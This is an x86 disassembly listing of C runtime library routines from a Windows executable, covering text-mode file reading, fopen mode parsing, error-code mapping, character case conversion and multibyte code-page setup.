loc_412F89: ; CODE XREF: sub_412E82+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_413044
cmp al, 0Dh
jz short loc_412FA5
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_413036
; ---------------------------------------------------------------------------
loc_412FA5: ; CODE XREF: sub_412E82+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_412FC3
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_412FBA
add [ebp+arg_8], 2
jmp short loc_413018
; ---------------------------------------------------------------------------
loc_412FBA: ; CODE XREF: sub_412E82+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_413036
; ---------------------------------------------------------------------------
loc_412FC3: ; CODE XREF: sub_412E82+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_418154 ; ReadFile
test eax, eax
jnz short loc_412FEB
call dword_418044 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_413032
loc_412FEB: ; CODE XREF: sub_412E82+15Dj
cmp [ebp+var_C], 0
jz short loc_413032
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41300D
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_413018
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_413036
; ---------------------------------------------------------------------------
loc_41300D: ; CODE XREF: sub_412E82+176j
cmp edi, [ebp+arg_4]
jnz short loc_41301D
cmp [ebp+var_1], 0Ah
jnz short loc_41301D
loc_413018: ; CODE XREF: sub_412E82+136j
; sub_412E82+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_413035
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_412E82+18Ej
; sub_412E82+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_413BAD
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_413036
loc_413032: ; CODE XREF: sub_412E82+167j
; sub_412E82+16Dj
mov byte ptr [edi], 0Dh
loc_413035: ; CODE XREF: sub_412E82+199j
inc edi
loc_413036: ; CODE XREF: sub_412E82+11Ej
; sub_412E82+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_412F89
jmp short loc_413054
; ---------------------------------------------------------------------------
loc_413044: ; CODE XREF: sub_412E82+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_413054
or al, 2
mov [esi], al
loc_413054: ; CODE XREF: sub_412E82+101j
; sub_412E82+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41305A: ; CODE XREF: sub_412E82+DAj
mov eax, [ebp+var_8]
jmp short loc_413073
; ---------------------------------------------------------------------------
loc_41305F: ; CODE XREF: sub_412E82+12j
; sub_412E82+39j
and dword_481DC0, 0
mov dword_481DBC, 9
loc_413070: ; CODE XREF: sub_412E82+ABj
; sub_412E82+C3j
or eax, 0FFFFFFFFh
loc_413073: ; CODE XREF: sub_412E82+B7j
; sub_412E82+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_412E82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413078 proc near ; CODE XREF: sub_40DDA8+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_481FC0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_4130B1
cmp al, 72h
jz short loc_4130AA
cmp al, 77h
jnz loc_4131C5
mov ecx, 301h
jmp short loc_4130B6
; ---------------------------------------------------------------------------
loc_4130AA: ; CODE XREF: sub_413078+21j
xor ecx, ecx
or esi, 1
jmp short loc_4130B9
; ---------------------------------------------------------------------------
loc_4130B1: ; CODE XREF: sub_413078+1Dj
mov ecx, 109h
loc_4130B6: ; CODE XREF: sub_413078+30j
or esi, 2
loc_4130B9: ; CODE XREF: sub_413078+37j
push 1
pop edx
loc_4130BC: ; CODE XREF: sub_413078+8Bj
; sub_413078+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_4131AB
cmp edx, ebx
jz loc_4131AB
movsx eax, al
cmp eax, 54h
jg short loc_41314A
jz short loc_41313A
sub eax, 2Bh
jz short loc_413124
sub eax, 19h
jz short loc_41311A
sub eax, 0Eh
jz short loc_413105
dec eax
jnz loc_41319C
cmp [ebp+var_4], ebx
jnz loc_41319C
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_4130BC
; ---------------------------------------------------------------------------
loc_413105: ; CODE XREF: sub_413078+6Fj
cmp [ebp+var_4], ebx
jnz loc_41319C
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_4130BC
; ---------------------------------------------------------------------------
loc_41311A: ; CODE XREF: sub_413078+6Aj
test cl, 40h
jnz short loc_41319C
or ecx, 40h
jmp short loc_4130BC
; ---------------------------------------------------------------------------
loc_413124: ; CODE XREF: sub_413078+65j
test cl, 2
jnz short loc_41319C
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_4130BC
; ---------------------------------------------------------------------------
loc_41313A: ; CODE XREF: sub_413078+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41319C
or ecx, eax
jmp loc_4130BC
; ---------------------------------------------------------------------------
loc_41314A: ; CODE XREF: sub_413078+5Ej
sub eax, 62h
jz short loc_413197
dec eax
jz short loc_413180
sub eax, 0Bh
jz short loc_413169
sub eax, 6
jnz short loc_41319C
test ch, 0C0h
jnz short loc_41319C
or ch, 40h
jmp loc_4130BC
; ---------------------------------------------------------------------------
loc_413169: ; CODE XREF: sub_413078+DDj
cmp [ebp+var_8], ebx
jnz short loc_41319C
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_4130BC
; ---------------------------------------------------------------------------
loc_413180: ; CODE XREF: sub_413078+D8j
cmp [ebp+var_8], ebx
jnz short loc_41319C
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_4130BC
; ---------------------------------------------------------------------------
loc_413197: ; CODE XREF: sub_413078+D5j
test ch, 0C0h
jz short loc_4131A3
loc_41319C: ; CODE XREF: sub_413078+72j
; sub_413078+7Bj ...
xor edx, edx
jmp loc_4130BC
; ---------------------------------------------------------------------------
loc_4131A3: ; CODE XREF: sub_413078+122j
or ch, 80h
jmp loc_4130BC
; ---------------------------------------------------------------------------
loc_4131AB: ; CODE XREF: sub_413078+4Aj
; sub_413078+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_4157AA
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_4131C9
loc_4131C5: ; CODE XREF: sub_413078+25j
xor eax, eax
jmp short loc_4131E3
; ---------------------------------------------------------------------------
loc_4131C9: ; CODE XREF: sub_413078+14Bj
mov eax, [ebp+arg_C]
inc dword_481F80
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_4131E3: ; CODE XREF: sub_413078+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_413078 endp
; =============== S U B R O U T I N E =======================================
sub_4131E8 proc near ; CODE XREF: sub_40DDA8p
mov edx, dword_4830C0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_413259
mov ebx, dword_4820B0
mov edi, ebx
loc_413204: ; CODE XREF: sub_4131E8+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41321F
test byte ptr [ecx+0Ch], 83h
jz short loc_41321A
inc eax
add edi, 4
cmp eax, edx
jl short loc_413204
jmp short loc_413259
; ---------------------------------------------------------------------------
loc_41321A: ; CODE XREF: sub_4131E8+26j
mov esi, [ebx+eax*4]
jmp short loc_413243
; ---------------------------------------------------------------------------
loc_41321F: ; CODE XREF: sub_4131E8+20j
mov edi, eax
push 20h
shl edi, 2
call sub_40CCCF
pop ecx
mov ecx, dword_4820B0
mov [edi+ecx], eax
mov eax, dword_4820B0
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_413259
mov esi, edi
loc_413243: ; CODE XREF: sub_4131E8+35j
cmp esi, ebp
jz short loc_413259
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_413259: ; CODE XREF: sub_4131E8+12j
; sub_4131E8+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4131E8 endp
; =============== S U B R O U T I N E =======================================
sub_413260 proc near ; CODE XREF: sub_40DE14+16p
; sub_40EA57+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_481DC0, ecx
mov eax, offset dword_422010
loc_413271: ; CODE XREF: sub_413260+1Ej
cmp ecx, [eax]
jz short loc_413295
add eax, 8
inc edx
cmp eax, offset byte_422178
jl short loc_413271
cmp ecx, 13h
jb short loc_4132A2
cmp ecx, 24h
ja short loc_4132A2
mov dword_481DBC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_413295: ; CODE XREF: sub_413260+13j
mov eax, dword_422014[edx*8]
mov dword_481DBC, eax
retn
; ---------------------------------------------------------------------------
loc_4132A2: ; CODE XREF: sub_413260+23j
; sub_413260+28j
cmp ecx, 0BCh
jb short loc_4132BC
cmp ecx, 0CAh
mov dword_481DBC, 8
jbe short locret_4132C6
loc_4132BC: ; CODE XREF: sub_413260+48j
mov dword_481DBC, 16h
locret_4132C6: ; CODE XREF: sub_413260+5Aj
retn
sub_413260 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132C7 proc near ; CODE XREF: sub_40E0C3+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_481E4C, 0
push ebx
jnz short loc_4132F2
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_413390
cmp eax, 7Ah
jg loc_413390
sub eax, 20h
jmp loc_413390
; ---------------------------------------------------------------------------
loc_4132F2: ; CODE XREF: sub_4132C7+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_413325
cmp dword_422004, 1
jle short loc_413312
push 2
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_41331D
; ---------------------------------------------------------------------------
loc_413312: ; CODE XREF: sub_4132C7+3Dj
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 2
loc_41331D: ; CODE XREF: sub_4132C7+49j
test eax, eax
jnz short loc_413325
loc_413321: ; CODE XREF: sub_4132C7+AFj
mov eax, ebx
jmp short loc_413390
; ---------------------------------------------------------------------------
loc_413325: ; CODE XREF: sub_4132C7+34j
; sub_4132C7+58j
mov edx, off_421DF8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_413348
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_413351
; ---------------------------------------------------------------------------
loc_413348: ; CODE XREF: sub_4132C7+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_413351: ; CODE XREF: sub_4132C7+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_481E4C
call sub_413455
add esp, 20h
test eax, eax
jz short loc_413321
cmp eax, 1
jnz short loc_413383
movzx eax, [ebp+var_4]
jmp short loc_413390
; ---------------------------------------------------------------------------
loc_413383: ; CODE XREF: sub_4132C7+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_413390: ; CODE XREF: sub_4132C7+14j
; sub_4132C7+1Dj ...
pop ebx
leave
retn
sub_4132C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413393 proc near ; CODE XREF: sub_40E2E2+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41344F
cmp ebx, 8Ah
jg loc_41344F
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_42272C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4133D2
cmp edi, 2
jle short loc_4133D2
inc esi
loc_4133D2: ; CODE XREF: sub_413393+37j
; sub_413393+3Cj
call sub_415A63
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_422648
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_413445
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41344B
cmp dword_42264C, 0
jz short loc_41344B
lea eax, [ebp+var_24]
push eax
call sub_415CD6
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41344B
loc_413445: ; CODE XREF: sub_413393+90j
add ecx, dword_422650
loc_41344B: ; CODE XREF: sub_413393+96j
; sub_413393+9Fj ...
mov eax, ecx
jmp short loc_413452
; ---------------------------------------------------------------------------
loc_41344F: ; CODE XREF: sub_413393+13j
; sub_413393+1Fj
or eax, 0FFFFFFFFh
loc_413452: ; CODE XREF: sub_413393+BAj
pop ebx
leave
retn
sub_413393 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413455 proc near ; CODE XREF: sub_40E530+A3p
; sub_4132C7+A5p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_418870
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_481E40, edi
jnz short loc_4134CB
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_418868
mov esi, 100h
push esi
push edi
call dword_41815C ; LCMapStringW
test eax, eax
jz short loc_4134A9
mov dword_481E40, ebx
jmp short loc_4134CB
; ---------------------------------------------------------------------------
loc_4134A9: ; CODE XREF: sub_413455+4Aj
push edi
push edi
push ebx
push offset dword_4242EC
push esi
push edi
call dword_418158 ; LCMapStringA
test eax, eax
jz loc_4135E3
mov dword_481E40, 2
loc_4134CB: ; CODE XREF: sub_413455+2Ej
; sub_413455+52j
cmp [ebp+arg_C], edi
jle short loc_4134E0
push [ebp+arg_C]
push [ebp+arg_8]
call sub_41740C
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4134E0: ; CODE XREF: sub_413455+79j
mov eax, dword_481E40
cmp eax, 2
jnz short loc_413507
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_418158 ; LCMapStringA
jmp loc_4135E5
; ---------------------------------------------------------------------------
loc_413507: ; CODE XREF: sub_413455+93j
cmp eax, 1
jnz loc_4135E3
cmp [ebp+arg_18], edi
jnz short loc_41351D
mov eax, dword_481E5C
mov [ebp+arg_18], eax
loc_41351D: ; CODE XREF: sub_413455+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_4180CC ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_4135E3
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_40CCA0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_413578
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_413578: ; CODE XREF: sub_413455+10Ej
cmp [ebp+var_24], edi
jz short loc_4135E3
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_4180CC ; MultiByteToWideChar
test eax, eax
jz short loc_4135E3
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41815C ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_4135E3
test byte ptr [ebp+arg_4+1], 4
jz short loc_4135F7
cmp [ebp+arg_14], edi
jz loc_413672
cmp esi, [ebp+arg_14]
jg short loc_4135E3
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41815C ; LCMapStringW
test eax, eax
jnz loc_413672
loc_4135E3: ; CODE XREF: sub_413455+66j
; sub_413455+B5j ...
xor eax, eax
loc_4135E5: ; CODE XREF: sub_413455+ADj
; sub_413455+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4135F7: ; CODE XREF: sub_413455+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40CCA0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41362B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41362B: ; CODE XREF: sub_413455+1C2j
cmp ebx, edi
jz short loc_4135E3
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41815C ; LCMapStringW
test eax, eax
jz short loc_4135E3
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_413652
push edi
push edi
jmp short loc_413658
; ---------------------------------------------------------------------------
loc_413652: ; CODE XREF: sub_413455+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_413658: ; CODE XREF: sub_413455+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_4180C8 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_4135E3
loc_413672: ; CODE XREF: sub_413455+165j
; sub_413455+188j
mov eax, esi
jmp loc_4135E5
sub_413455 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413679 proc near ; CODE XREF: sub_413A3D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_413812 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_4831E4
mov [ebp+arg_0], esi
jz loc_413806
xor ebx, ebx
cmp esi, ebx
jz loc_4137FC
xor edx, edx
mov eax, offset dword_422180
loc_4136AD: ; CODE XREF: sub_413679+41j
cmp [eax], esi
jz short loc_413723
add eax, 30h
inc edx
cmp eax, offset dword_422270
jl short loc_4136AD
lea eax, [ebp+var_18]
push eax
push esi
call dword_418160 ; GetCPInfo
cmp eax, 1
jnz loc_4137F4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_483300
cmp [ebp+var_18], 1
mov dword_4831E4, esi
rep stosd
stosb
mov dword_483404, ebx
jbe loc_4137E2
cmp [ebp+var_12], 0
jz loc_4137B8
lea ecx, [ebp+var_11]
loc_413700: ; CODE XREF: sub_413679+139j
mov dl, [ecx]
test dl, dl
jz loc_4137B8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_413711: ; CODE XREF: sub_413679+A8j
cmp eax, edx
ja loc_4137AC
or byte_483301[eax], 4
inc eax
jmp short loc_413711
; ---------------------------------------------------------------------------
loc_413723: ; CODE XREF: sub_413679+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_483300
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_422190[esi]
loc_41373F: ; CODE XREF: sub_413679+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_413772
loc_413746: ; CODE XREF: sub_413679+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_413772
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41376B
mov edx, [ebp+var_4]
mov dl, byte_422178[edx]
loc_413760: ; CODE XREF: sub_413679+F0j
or byte_483301[eax], dl
inc eax
cmp eax, edi
jbe short loc_413760
loc_41376B: ; CODE XREF: sub_413679+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_413746
loc_413772: ; CODE XREF: sub_413679+CBj
; sub_413679+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41373F
mov eax, [ebp+arg_0]
mov dword_4831FC, 1
push eax
mov dword_4831E4, eax
call sub_41385C
lea esi, dword_422184[esi]
mov edi, offset dword_4831F0
movsd
movsd
pop ecx
mov dword_483404, eax
movsd
jmp short loc_413801
; ---------------------------------------------------------------------------
loc_4137AC: ; CODE XREF: sub_413679+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_413700
loc_4137B8: ; CODE XREF: sub_413679+7Ej
; sub_413679+8Bj
push 1
pop eax
loc_4137BB: ; CODE XREF: sub_413679+14Fj
or byte_483301[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_4137BB
push esi
call sub_41385C
pop ecx
mov dword_483404, eax
mov dword_4831FC, 1
jmp short loc_4137E8
; ---------------------------------------------------------------------------
loc_4137E2: ; CODE XREF: sub_413679+74j
mov dword_4831FC, ebx
loc_4137E8: ; CODE XREF: sub_413679+167j
xor eax, eax
mov edi, offset dword_4831F0
stosd
stosd
stosd
jmp short loc_413801
; ---------------------------------------------------------------------------
loc_4137F4: ; CODE XREF: sub_413679+51j
cmp dword_481E64, ebx
jz short loc_41380A
loc_4137FC: ; CODE XREF: sub_413679+27j
call sub_41388F
loc_413801: ; CODE XREF: sub_413679+131j
; sub_413679+179j
call sub_4138B8
loc_413806: ; CODE XREF: sub_413679+1Dj
xor eax, eax
jmp short loc_41380D
; ---------------------------------------------------------------------------
loc_41380A: ; CODE XREF: sub_413679+181j
or eax, 0FFFFFFFFh
loc_41380D: ; CODE XREF: sub_413679+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_413679 endp
; =============== S U B R O U T I N E =======================================
sub_413812 proc near ; CODE XREF: sub_413679+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_481E64, 0
cmp eax, 0FFFFFFFEh
jnz short loc_413832
mov dword_481E64, 1
jmp dword_418168
; ---------------------------------------------------------------------------
loc_413832: ; CODE XREF: sub_413812+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_413847
mov dword_481E64, 1
jmp dword_418164
; ---------------------------------------------------------------------------
loc_413847: ; CODE XREF: sub_413812+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41385B
mov eax, dword_481E5C
mov dword_481E64, 1
locret_41385B: ; CODE XREF: sub_413812+38j
retn
sub_413812 endp
; =============== S U B R O U T I N E =======================================
sub_41385C proc near ; CODE XREF: sub_413679+118p
; sub_413679+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_413889
sub eax, 4
jz short loc_413883
sub eax, 0Dh
jz short loc_41387D
dec eax
jz short loc_413877
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_413877: ; CODE XREF: sub_41385C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41387D: ; CODE XREF: sub_41385C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_413883: ; CODE XREF: sub_41385C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_413889: ; CODE XREF: sub_41385C+9j
mov eax, 411h
retn
sub_41385C endp
; =============== S U B R O U T I N E =======================================
sub_41388F proc near ; CODE XREF: sub_413679:loc_4137FCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_483300
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4831F0
mov dword_4831E4, eax
mov dword_4831FC, eax
mov dword_483404, eax
stosd
stosd
stosd
pop edi
retn
sub_41388F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4138B8 proc near ; CODE XREF: sub_413679:loc_413801p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4831E4
call dword_418160 ; GetCPInfo
cmp eax, 1
jnz loc_4139F1
xor eax, eax
mov esi, 100h
loc_4138E2: ; CODE XREF: sub_4138B8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4138E2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_413933
push ebx
push edi
lea edx, [ebp+var_D]
loc_413901: ; CODE XREF: sub_4138B8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_413928
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_413928: ; CODE XREF: sub_4138B8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_413901
pop edi
pop ebx
loc_413933: ; CODE XREF: sub_4138B8+42j
push 0
lea eax, [ebp+var_514]
push dword_483404
push dword_4831E4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_415447
push 0
lea eax, [ebp+var_214]
push dword_4831E4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_483404
call sub_413455
push 0
lea eax, [ebp+var_314]
push dword_4831E4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_483404
call sub_413455
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4139AE: ; CODE XREF: sub_4138B8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4139CC
or byte_483301[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4139C4: ; CODE XREF: sub_4138B8+127j
mov byte_483200[eax], dl
jmp short loc_4139E8
; ---------------------------------------------------------------------------
loc_4139CC: ; CODE XREF: sub_4138B8+FCj
test dl, 2
jz short loc_4139E1
or byte_483301[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4139C4
; ---------------------------------------------------------------------------
loc_4139E1: ; CODE XREF: sub_4138B8+117j
and byte_483200[eax], 0
loc_4139E8: ; CODE XREF: sub_4138B8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4139AE
jmp short loc_413A3A
; ---------------------------------------------------------------------------
loc_4139F1: ; CODE XREF: sub_4138B8+1Dj
xor eax, eax
mov esi, 100h
loc_4139F8: ; CODE XREF: sub_4138B8+180j
cmp eax, 41h
jb short loc_413A16
cmp eax, 5Ah
ja short loc_413A16
or byte_483301[eax], 10h
mov cl, al
add cl, 20h
loc_413A0E: ; CODE XREF: sub_4138B8+174j
mov byte_483200[eax], cl
jmp short loc_413A35
; ---------------------------------------------------------------------------
loc_413A16: ; CODE XREF: sub_4138B8+143j
; sub_4138B8+148j
cmp eax, 61h
jb short loc_413A2E
cmp eax, 7Ah
ja short loc_413A2E
or byte_483301[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_413A0E
; ---------------------------------------------------------------------------
loc_413A2E: ; CODE XREF: sub_4138B8+161j
; sub_4138B8+166j
and byte_483200[eax], 0
loc_413A35: ; CODE XREF: sub_4138B8+15Cj
inc eax
cmp eax, esi
jb short loc_4139F8
loc_413A3A: ; CODE XREF: sub_4138B8+137j
pop esi
leave
retn
sub_4138B8 endp
